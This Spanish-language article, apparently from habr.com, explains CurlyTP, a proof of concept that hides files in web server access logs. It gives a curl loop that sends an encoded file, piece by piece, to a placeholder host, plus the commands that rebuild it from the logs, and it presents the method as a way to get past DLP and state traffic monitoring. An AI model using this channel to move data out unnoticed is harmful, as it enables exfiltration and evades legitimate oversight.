Intercambio de mensajes secretos a través de los registros del servidor

Según la definición de Wikipedia, un escondite (dead drop) es una herramienta de conspiración que sirve para intercambiar información o algún objeto entre personas que utilizan un lugar secreto. La idea es que las personas nunca se encuentran, pero al mismo tiempo se intercambian información, manteniendo la seguridad operativa.

Un escondite no debe atraer la atención. Por eso, en el mundo offline, a menudo se utilizan objetos poco llamativos: un ladrillo suelto en la pared, un libro de biblioteca o un agujero en un árbol.

En Internet hay muchas herramientas para cifrado y anonimato, pero el mero hecho de usar estas herramientas llama la atención. Además, pueden ser bloqueadas a nivel corporativo o estatal. ¿Qué hacer?

El desarrollador Ryan Flowers propuso una opción interesante: usar cualquier servidor web como escondite.. Si lo pensamos, ¿qué hace un servidor web? Recibe solicitudes, entrega archivos y escribe registros. Y registra en el log todas las solicitudes, incluso las incorrectas.!

Así, cualquier servidor web permite guardar en el log prácticamente cualquier mensaje arbitrario. Flowers se preguntó cómo usar esto.

Él propone la siguiente opción:

  1. Tomar un archivo de texto (el mensaje secreto) y calcular su hash (md5sum).
  2. Codificarlo (gzip+uuencode).
  3. Registrar en el log a través de una solicitud deliberadamente incorrecta al servidor.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Para leer el archivo, debes realizar estas operaciones en el orden inverso: decodificar y descomprimir el archivo, comprobar el hash (el hash se puede transmitir de forma segura por canales abiertos).

Los espacios se reemplazan por =+=, para que no haya espacios en la dirección. El programa, que el autor llamó CurlyTP, utiliza la codificación base64, como en los archivos adjuntos de correo electrónico. La solicitud se realiza con la palabra clave ?transfer?, para que el receptor pueda encontrarla fácilmente en los logs.

¿Qué vemos en los logs en este caso?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Como ya se mencionó, para obtener el mensaje secreto es necesario realizar las operaciones en orden inverso:

Máquina remota

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

El proceso se puede automatizar fácilmente. Md5sum coincide y el contenido del archivo confirma que se decodificó correctamente.

El método es muy simple. "El objetivo de este ejercicio es demostrar que se pueden transferir archivos a través de pequeñas solicitudes web inocentes, y esto funciona en cualquier servidor web con registros de texto normales. En esencia, ¡cada servidor web es un escondite!" — escribe Flowers.

Por supuesto, el método solo funciona si el receptor tiene acceso a los registros del servidor. Pero dicho acceso es otorgado, por ejemplo, por muchos proveedores de hosting.

¿Cómo usarlo?

Ryan Flowers dice que no es un experto en seguridad de la información y no hará una lista de posibles aplicaciones de CurlyTP. Para él, es simplemente una prueba de concepto de que las herramientas comunes que vemos a diario se pueden utilizar de manera no convencional.

De hecho, este método tiene varias ventajas sobre otros "escondites" de servidor como Digital Dead Drop o PirateBox: no requiere configuración especial en el servidor ni protocolos específicos — y no levantará sospechas entre quienes supervisan el tráfico. Es poco probable que SORM o el sistema DLP escaneen URLs en busca de archivos de texto comprimidos.

Es una forma de enviar mensajes a través de archivos de servicio. Se puede recordar cómo algunas empresas avanzadas solían colocar ofertas de trabajo para desarrolladores en los encabezados HTTP o en el código de páginas HTML.

Intercambio de mensajes secretos a través de los registros del servidor

La idea era que solo los desarrolladores web verían esta "sorpresa", ya que una persona normal no revisaría los encabezados o el código HTML.

Intercambio de mensajes secretos a través de los registros del servidor

Fuente: habr.com

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster